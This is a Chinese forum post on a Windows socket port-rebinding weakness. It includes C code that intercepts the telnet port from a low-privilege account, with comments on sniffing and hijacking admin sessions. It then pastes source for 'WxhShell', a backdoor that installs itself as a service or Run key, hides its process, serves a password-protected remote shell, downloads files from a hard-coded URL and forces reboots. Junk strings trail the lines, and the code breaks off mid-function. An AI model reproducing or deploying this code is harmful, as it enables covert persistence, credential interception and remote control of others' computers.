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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 63y':g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yoA*\V  
8^~ZNU-~v  
  saddr.sin_family = AF_INET; kw-Kx4 )  
]~g|SqPA@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =aCIaL&9Y  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u%gm+NneK  
v&CO#vK5.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b3 %&   
Ph! KL\  
  这意味着什么?意味着可以进行如下的攻击: jQK2<-HZ3  
z*k 3q`=>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v^lm8/}NO  
Y(G*Yi?;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O7<V@GL+  
C Sk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >{LJ#Dc6  
m|?" k38  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5@%=LPV  
4~pO>6P   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?GMeA}j  
$Zu4tuXA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ezq q@t9  
N:gstp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )/N Xh'  
xdTzG4  
  #include U0|j^.)  
  #include m?R+Z6c[  
  #include U}vtVvx  
  #include    (EF$^FYPK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I;":O"ij\  
  int main() |)P;%Fy9  
  { ;ZqD60%\  
  WORD wVersionRequested; CsST-qxg  
  DWORD ret; ][$$  =  
  WSADATA wsaData; yn ?U7`V  
  BOOL val; ywsz"/=@  
  SOCKADDR_IN saddr; BUy}Rn  
  SOCKADDR_IN scaddr; hoD[wAC  
  int err; 5-QvQ&eH.  
  SOCKET s; raI~BIfe  
  SOCKET sc; uwS'*5tU  
  int caddsize; FUTyx"   
  HANDLE mt; hwol7B>   
  DWORD tid;   u!EulAl  
  wVersionRequested = MAKEWORD( 2, 2 ); Nno={i1jk  
  err = WSAStartup( wVersionRequested, &wsaData ); ~pBxFA  
  if ( err != 0 ) { /RULPd PH  
  printf("error!WSAStartup failed!\n"); k^%TJ.y@  
  return -1;  ;;"c+  
  } 5A=xFj{  
  saddr.sin_family = AF_INET; !E>3N:  
   "F.J>QBd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v'Py[[R  
^MWW,`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &B5 Rzz-'  
  saddr.sin_port = htons(23); CYic_rF$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \?mU$,v oI  
  { NNpa69U  
  printf("error!socket failed!\n"); G?/8&%8  
  return -1; 1.OXkgh  
  } Y<$"]@w  
  val = TRUE; zZ"')+7q&%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wCEfR!i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N@`9 ~JS  
  { v_ F?x!  
  printf("error!setsockopt failed!\n"); {~p %\  
  return -1; ljR?* P  
  } P9HPr2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; * jNu?$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P*^UU\x'4I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E=U^T/  
^~k FC/tQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "@<g'T0  
  { /)<7$  
  ret=GetLastError(); ~s ja^  
  printf("error!bind failed!\n"); @m d^mss  
  return -1; w\Eve:  
  } E rymx$@P  
  listen(s,2); C g,w6<7  
  while(1) %RF   
  { BO cEL%+  
  caddsize = sizeof(scaddr); )UU6\2^  
  //接受连接请求 &(U=O?r7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KB-#):'  
  if(sc!=INVALID_SOCKET) HQ#L |LN  
  { ha'm`LiX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tp3N5I  
  if(mt==NULL) |`9zE]  
  { Tf]VcEF  
  printf("Thread Creat Failed!\n"); I)4|?tb ?  
  break; z&G3&?Z  
  } v?'k)B  
  } |8?{JKsg  
  CloseHandle(mt); u6&Ixi/s'  
  } j:<T<8 .o  
  closesocket(s); sU3V)7"  
  WSACleanup(); Yy:sZJ  
  return 0; = |zyi|  
  }   us *l+Jw,m  
  DWORD WINAPI ClientThread(LPVOID lpParam) K?<Odw'k  
  { ov.rHVeI  
  SOCKET ss = (SOCKET)lpParam; ^\t">NJ^  
  SOCKET sc; .3SjkC4I  
  unsigned char buf[4096]; ) W7H{#  
  SOCKADDR_IN saddr; ;7{wa]  
  long num; hzVr3;3Zn  
  DWORD val; VTkT4C@I;Y  
  DWORD ret; F>{uB!!L4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BP><G^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y,eoTmaI  
  saddr.sin_family = AF_INET; TgG)btQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^O9m11  
  saddr.sin_port = htons(23); <}>-ip?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -P uVI5L<  
  { Ho{?m^  
  printf("error!socket failed!\n"); 8y )i,"  
  return -1; -BH'.9uqGQ  
  } ?O]gFn  
  val = 100; NY w(hAPv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 78A4n C  
  { $w}aX0dK&  
  ret = GetLastError(); % ieAY-<"  
  return -1; Z.f<6<gF  
  } J\},o|WI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ( {62GWnn_  
  { 4p g(QeR  
  ret = GetLastError(); s0'U[]  
  return -1; wY)GX  
  } jh!IOtf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -2XIF}.Hu  
  { +n]Knfi  
  printf("error!socket connect failed!\n"); u9%:2$[  
  closesocket(sc); \3UdC{~  
  closesocket(ss); 5WX2rJ8z  
  return -1; nsn,8a38  
  } V#FLxITk  
  while(1) qt)mUq;>  
  { XX;%:?n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m=y)i]=1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?|F;x"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3Q6#m3AWY  
  num = recv(ss,buf,4096,0); _dY}86{  
  if(num>0) Hh/#pGf2  
  send(sc,buf,num,0); SQRz8,sqkw  
  else if(num==0) +4RaN`I  
  break; <AXYqH7%A  
  num = recv(sc,buf,4096,0); v:ZD}Q_  
  if(num>0) Lg53 Ms%  
  send(ss,buf,num,0); <0MUn#7'  
  else if(num==0) x@x@0k`A2  
  break; :\cJ vm  
  } lKSI5d  
  closesocket(ss); \p|!=H@  
  closesocket(sc); T{Q&}`D)r  
  return 0 ; <i?-x&Q?=  
  } Sa(r l^qZ2  
#@`^  .  
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========================================================== BF#e=p  
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下边附上一个代码,,WXhSHELL Y`RfE  
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========================================================== >.A:6  
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#include "stdafx.h" z[Qv}pv  
Z/;SR""wa  
#include <stdio.h> O`| ri5d  
#include <string.h> Q?q m~wD  
#include <windows.h> m]vr|:{6/  
#include <winsock2.h> Sy~Mh]{E  
#include <winsvc.h> IT"jtV  
#include <urlmon.h> {hR23eE)#  
\/G Y0s  
#pragma comment (lib, "Ws2_32.lib") ld6@&34  
#pragma comment (lib, "urlmon.lib") EORAx  
8t"DQ Y-R  
#define MAX_USER   100 // 最大客户端连接数 /otgFQ_  
#define BUF_SOCK   200 // sock buffer D[?|\?  
#define KEY_BUFF   255 // 输入 buffer U h}yHD`K  
Rx<F^J  
#define REBOOT     0   // 重启 NoIdO/vy"  
#define SHUTDOWN   1   // 关机 M?`06jQD.  
n40Z  
#define DEF_PORT   5000 // 监听端口 Plv+mb  
w9BH>56/"  
#define REG_LEN     16   // 注册表键长度 2y,wN"qH*  
#define SVC_LEN     80   // NT服务名长度 ^6n]@4P  
4]R3*F  
// 从dll定义API  glUP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .})8gL7 V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %(6WrE5F6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]vrs?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CSs6Vm!=  
:4TcCWG  
// wxhshell配置信息 lX7^LB  
struct WSCFG { &3. 8i%  
  int ws_port;         // 监听端口 :'=C/AL  
  char ws_passstr[REG_LEN]; // 口令 )}v2Z3:  
  int ws_autoins;       // 安装标记, 1=yes 0=no H9?~#GPb  
  char ws_regname[REG_LEN]; // 注册表键名 Ws@s(5r  
  char ws_svcname[REG_LEN]; // 服务名 l+,rc*-j0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b/`' ?| C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cPSpPx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )*B.y|b #  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r+crE %-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #wfR$Cd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;'kH<Iq  
d0d2QRX  
}; YVi]f2F%  
NgKNT}JDv  
// default Wxhshell configuration o=}?aC3I  
struct WSCFG wscfg={DEF_PORT, ho. a93  
    "xuhuanlingzhe", :csLZqn[  
    1, {s]eXc]K}  
    "Wxhshell", gB#t"s)  
    "Wxhshell", :KwYuwYS  
            "WxhShell Service", i|e-N?l  
    "Wrsky Windows CmdShell Service", g=wnly  
    "Please Input Your Password: ",  LvaF4Y2v  
  1, +X%yF{^m(  
  "http://www.wrsky.com/wxhshell.exe", X-)6.[9f  
  "Wxhshell.exe" +$C5V,H ~  
    }; n@f@-d$m\<  
RY&~{yl$"1  
// 消息定义模块 5{UGSz 1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W=/B[@3'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tFCeE=4%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MG|NH0k  
char *msg_ws_ext="\n\rExit."; Bb6_['y  
char *msg_ws_end="\n\rQuit."; 1?;s!6=  
char *msg_ws_boot="\n\rReboot..."; IZGty=Q_  
char *msg_ws_poff="\n\rShutdown..."; @NZ?D0"  
char *msg_ws_down="\n\rSave to "; U.\kAEJ  
{fWZ n  
char *msg_ws_err="\n\rErr!"; ,h"M{W$  
char *msg_ws_ok="\n\rOK!"; Q6E80>  
4U3T..wA  
char ExeFile[MAX_PATH]; d?JVB  
int nUser = 0; 1x]G/I*  
HANDLE handles[MAX_USER]; { .AFg/Z  
int OsIsNt; 6aL`^^  
&f$jpIyVX  
SERVICE_STATUS       serviceStatus; !#QD;,SE+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :Fh* 4 &Z  
LF8B5<[O  
// 函数声明 H)Yv_gT  
int Install(void); AyWCb  
int Uninstall(void); g_`8K,6ln  
int DownloadFile(char *sURL, SOCKET wsh); #*fB~Os:  
int Boot(int flag); iPao54Z  
void HideProc(void); YB[P`Muj  
int GetOsVer(void); LS;kq',  
int Wxhshell(SOCKET wsl); Y) Z>Bi  
void TalkWithClient(void *cs); };|'8'5  
int CmdShell(SOCKET sock); *ZHk^d:  
int StartFromService(void); V'8 (}(s/  
int StartWxhshell(LPSTR lpCmdLine); %H54^Z<y  
<5 okwcJ^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O1QHG'00  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iIg_S13  
Z"A:^jZ<s  
// 数据结构和表定义 !HFwQGP.Y  
SERVICE_TABLE_ENTRY DispatchTable[] = 7J\I%r  
{ Z|u_DaSrr|  
{wscfg.ws_svcname, NTServiceMain}, |e!Sm{#!  
{NULL, NULL} r(RJ&\ !  
}; bR.T94-8y  
NoI=t  
// 自我安装 jd#{66:  
int Install(void) x\lua  
{ &" =inkh  
  char svExeFile[MAX_PATH]; v+Hu=RZE  
  HKEY key; r*$KF!-dg  
  strcpy(svExeFile,ExeFile); f?)qZPM  
=^6]N~*,D  
// 如果是win9x系统,修改注册表设为自启动 -k'=s{iy  
if(!OsIsNt) { 6;ICX2Wq'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZC05^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o9JJ_-O"  
  RegCloseKey(key); 8<xJmcTEwO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3+IS7ATn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~{xY{qL  
  RegCloseKey(key); C0e< _6p=  
  return 0; &#~yci2{  
    } cOIshT1  
  } zZ kwfF  
} qk+:p]2  
else { U]_1yX  
*0Fn C2W1  
// 如果是NT以上系统,安装为系统服务 v6]lH9c{,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V /|@   
if (schSCManager!=0) - iU7'  
{ nfd^'}$]  
  SC_HANDLE schService = CreateService } pA0mW9  
  ( 778a)ZOzb  
  schSCManager, }V 09tK/M  
  wscfg.ws_svcname, WFTTBUoH  
  wscfg.ws_svcdisp, <[(xGrEZV  
  SERVICE_ALL_ACCESS, )U5AnL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9n1O@~  
  SERVICE_AUTO_START, Hh,\>= ':  
  SERVICE_ERROR_NORMAL, 8I JFQDGA9  
  svExeFile, jQc$>M<"o  
  NULL, S-My6'ar  
  NULL, /|Zk$q.\  
  NULL, H`kfI"u8  
  NULL, &}6=V+J;  
  NULL ;vuok]@  
  ); t~e.LxN  
  if (schService!=0) [(]uin+9Q  
  { Tk)y*y  
  CloseServiceHandle(schService); RxcX\:  
  CloseServiceHandle(schSCManager); 0&zp9(G5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L ej3? k  
  strcat(svExeFile,wscfg.ws_svcname); sOv:/'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { . F_pP2A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0D=6-P?^W  
  RegCloseKey(key); F@[l&`7  
  return 0; (|<}q-wO  
    } G3m+E;o1  
  }  zoA]7pG-  
  CloseServiceHandle(schSCManager); 1Z|q0-Dw0  
} 7N 7W0Ky  
} L -<!,CASW  
.- uH ax0  
return 1; ~ #Vrf0w/  
} ;=aj)lemCr  
o#CNr5/  
// 自我卸载 =#^\ 9|?$  
int Uninstall(void) RWK|?FD\<  
{  9/`T]s"  
  HKEY key; W A-\2  
uK1DC i  
if(!OsIsNt) { .*i.Z   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l.El3+  
  RegDeleteValue(key,wscfg.ws_regname); Sw%^&*J  
  RegCloseKey(key); /GqW1tcO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +uLl3(ml  
  RegDeleteValue(key,wscfg.ws_regname); 5V]!xi  
  RegCloseKey(key); sBt,y _LW  
  return 0; -6@#Nq_iWU  
  } Xnpw'<~X  
} d=yuuS /  
} 22(7rUkI  
else { s +"?j  
OjFB_ N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TZ3"u@ 06  
if (schSCManager!=0) "]B:QeMeF!  
{ |L,_QXA2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Onz@A"  
  if (schService!=0) M*$#j|  
  { \$$DM"+:;H  
  if(DeleteService(schService)!=0) { Z0 @P1  
  CloseServiceHandle(schService); S8 .1%sw  
  CloseServiceHandle(schSCManager); nF`_3U8e  
  return 0; =~15q=XY0  
  } '9.L5*wh]  
  CloseServiceHandle(schService); !W^P|:Qt  
  } ~x4]^XS  
  CloseServiceHandle(schSCManager); ,=jwQG4wq  
} bdbTK8-  
} t}w<xe  
b9X"p*'p  
return 1; a'r8J~:jy  
} usc"m huQ  
n|q $=jE  
// 从指定url下载文件 clyZD`*  
int DownloadFile(char *sURL, SOCKET wsh) _<}oBh  
{ n.F^9j+V  
  HRESULT hr; K+|G9  
char seps[]= "/"; crTRfqF  
char *token; Nz1u:D]  
char *file; wN Mf-~  
char myURL[MAX_PATH]; Qa>t$`o`  
char myFILE[MAX_PATH]; 21_sg f?  
[&eG>zF"  
strcpy(myURL,sURL); POB6#x  
  token=strtok(myURL,seps); Klrd|;C  
  while(token!=NULL) YMXhzqj  
  { @^R6}qJ  
    file=token; l  d  
  token=strtok(NULL,seps); =e*S h0dK  
  } hX4 V}kj  
E7 mB=bt>=  
GetCurrentDirectory(MAX_PATH,myFILE); 3'2>3Y/7Bb  
strcat(myFILE, "\\"); `cgyiJ  
strcat(myFILE, file); sYa;vg4[  
  send(wsh,myFILE,strlen(myFILE),0); <Ukeq0  
send(wsh,"...",3,0); [+;>u|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zmx[:-  
  if(hr==S_OK) ` "Lk@  
return 0; o=C:=  
else W<Ri(g-  
return 1; q[}W&t,  
efN5(9*9R  
} T]oVNy  
zPm|$d  
// 系统电源模块 `]F}O \H  
int Boot(int flag) vb.}SG>  
{ $-AG $1  
  HANDLE hToken; 0fE?(0pBj  
  TOKEN_PRIVILEGES tkp; Tji*\<?  
wNvq['P  
  if(OsIsNt) { L NS O]\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9KCeKT>v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <]Btx;}  
    tkp.PrivilegeCount = 1; me@k~!e"z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '/2)I8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,eSII2,r4  
if(flag==REBOOT) { yByxy-~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >lkjoEVQ  
  return 0; jI/#NCKE  
} ,8@q2a/  
else { |Ml~_m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XcFu:B  
  return 0; z?<Xx?Kk  
} \%}w7J;  
  } VV-%AS6;  
  else { r;~7$B)  
if(flag==REBOOT) { `g vd 8^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @+>t]jyz  
  return 0; s{uSU1lQn  
} U_sM==~  
else { X"!tx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EG!Nsb^,  
  return 0; "M}3T?0 O  
} @HQqHO&N  
} G?+0#?'Y  
~P fk   
return 1; tq=7HM  
} w&e q *q  
*4y0Hq  
// win9x进程隐藏模块 ?>Bt|[p:s)  
void HideProc(void) bQ`2ll*(  
{ '$h0l-mQ  
0ky3rFSh1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1VA%xOURh  
  if ( hKernel != NULL ) m`&6[[)6~  
  { RveEA/&&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mXT{c=N)w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $C t(M)  
    FreeLibrary(hKernel); efK WR  
  } C]a iu  
09 v m5|  
return; R^6]v`j;  
} \SooIEl@  
"lA8CA  
// 获取操作系统版本 Zt \3y  
int GetOsVer(void) Y;=GM:*H  
{ k $E{'Dv  
  OSVERSIONINFO winfo; kS62]v]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w""  
  GetVersionEx(&winfo); {!*dk V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ask~  
  return 1; Og1Hg B3v  
  else |@rYh-5  
  return 0; PmA_cP7~  
} g$U7bCHG  
ua!RwSo  
// 客户端句柄模块 'XI-x[w  
int Wxhshell(SOCKET wsl) 7I0K= 'D7  
{ &;[0.:;  
  SOCKET wsh; w|U 7pUz  
  struct sockaddr_in client; 4oPr|OKj{*  
  DWORD myID; P\3H<?@4  
NKYHJf2?x  
  while(nUser<MAX_USER) QV8;c^EZ  
{ DI\^&F)3T2  
  int nSize=sizeof(client); 08z?i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `08}y*E  
  if(wsh==INVALID_SOCKET) return 1; _]M :  
k&= iye(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qf*e2" ~v  
if(handles[nUser]==0) ]#\/1!W  
  closesocket(wsh); b?:SCUI  
else  z:d+RMA  
  nUser++; &ER,;^H `6  
  } o(YF`;OhvS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4Y{&y6  
#{~3bgY  
  return 0; gcF V$  
} ;m}o$`  
Lu[xoQ~I  
// 关闭 socket lj %k/u  
void CloseIt(SOCKET wsh) `7Dj}vVu  
{ $uUJV% EX  
closesocket(wsh); SXRND;-W8  
nUser--; wV"C ,*V  
ExitThread(0); d=a$Gd_$  
} +pjU4>)  
-O6\!Wo=-  
// 客户端请求句柄 aFDCVm%U|  
void TalkWithClient(void *cs) h5ZxxtGU  
{ ^ oh%Ns  
u4~( 0  
  SOCKET wsh=(SOCKET)cs; S %(R9N|  
  char pwd[SVC_LEN]; <xAlp;8m5  
  char cmd[KEY_BUFF]; trg&^{D<  
char chr[1]; CW@G(R  
int i,j; &\Yd)#B/  
8_uh2`+Bvb  
  while (nUser < MAX_USER) { PF] Vt  
EK}QjY[i  
if(wscfg.ws_passstr) { D,SL_*r{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?sbM=oo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KDYyLkI dr  
  //ZeroMemory(pwd,KEY_BUFF); C72btS  
      i=0; C/!8NV1:4  
  while(i<SVC_LEN) { B:tGD@  
Ts 3(,Y  
  // 设置超时 qR8 BS4q_p  
  fd_set FdRead; etL)T":XV  
  struct timeval TimeOut; vA#?\j2  
  FD_ZERO(&FdRead); Kvh6D"  
  FD_SET(wsh,&FdRead); jAOD&@z1  
  TimeOut.tv_sec=8; 1~9AQ[]w8  
  TimeOut.tv_usec=0; ;aUI3n%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mG+hLRTXP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !@@rO--&  
`*Jw[Bnh8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WyJXT.  
  pwd=chr[0]; ppPzI,  
  if(chr[0]==0xd || chr[0]==0xa) { )4bZ;'B5  
  pwd=0; {#%;HqP  
  break; }$1Aw%p^  
  } Gq^#.o]  
  i++; ai~JY[  
    } !GBGC|avE  
8A|i$#.&  
  // 如果是非法用户,关闭 socket Mta;6<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]@7]mu:oL  
}  eZ +uW0  
K7 $Vl"l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !FR1yO'd>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yq%D/dU8  
t+B L O<  
while(1) { Nx"v|"  
Jul xFjC  
  ZeroMemory(cmd,KEY_BUFF); 1@A*Jj[R%  
4r>buEU  
      // 自动支持客户端 telnet标准   a3oSSkT  
  j=0; m&Lc."  
  while(j<KEY_BUFF) {  kn|z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c}g:vh  
  cmd[j]=chr[0]; X5eTj  
  if(chr[0]==0xa || chr[0]==0xd) { }lt]]094,  
  cmd[j]=0; N3g?gb"Ex)  
  break; QTjOLK$e$  
  } !;YQQ<D  
  j++; 2\=cv  
    } T+|V;nP.  
d<l-Ldle  
  // 下载文件 ,JmA e6  
  if(strstr(cmd,"http://")) { Y4dTv<=K@i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cP MUu9du  
  if(DownloadFile(cmd,wsh)) UT7".1H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =m= utd8  
  else =rDIU&0Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u(|k/~\  
  } =.Q|gZ   
  else { zwKm;;v8  
"RJf2~(ZX  
    switch(cmd[0]) { 2_ HPsEx  
  ZW|VAn'>  
  // 帮助 ^#L?HIM  
  case '?': { |d1%N'Ll  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dc0Ro,  
    break; [ {B1~D-  
  } q3E_.{t  
  // 安装 '((Ll  
  case 'i': { g1`/xJz|  
    if(Install()) @Q atgYu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #/9(^6f:  
    else s(I7}oRWsL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Cz_chK4  
    break; __V6TDehJ$  
    } 6'6@VB  
  // 卸载 /Iu._2  
  case 'r': { jq&$YmWp  
    if(Uninstall()) L%.GKANM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l@om2|B  
    else &p$SFH?s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t9()?6H\  
    break; Xsc5@O!  
    } -W+67@(\8H  
  // 显示 wxhshell 所在路径 w{"GA ~=  
  case 'p': { 1H_#5hd  
    char svExeFile[MAX_PATH]; 9{bzxM  
    strcpy(svExeFile,"\n\r"); :[N[D#/z  
      strcat(svExeFile,ExeFile); [y T4n.f  
        send(wsh,svExeFile,strlen(svExeFile),0); bMD'teJ  
    break; ^9UF Pij"  
    } HYPFe|t/  
  // 重启 +B@NSEy/+  
  case 'b': { S!n 9A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VBssn]w  
    if(Boot(REBOOT)) 3Ecm Nwr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cs %-f"  
    else { BKm$H! u  
    closesocket(wsh); O/\jkF  
    ExitThread(0); )gCHwu  
    } OI.2CF  
    break; 3HA$k[%7P  
    } [#td  
  // 关机 05MtQB   
  case 'd': { V|.aud=7z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E `)p,{T  
    if(Boot(SHUTDOWN)) ]Nvtiw 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 n,5"B  
    else { [j0I}+@4H  
    closesocket(wsh); BifA&o%  
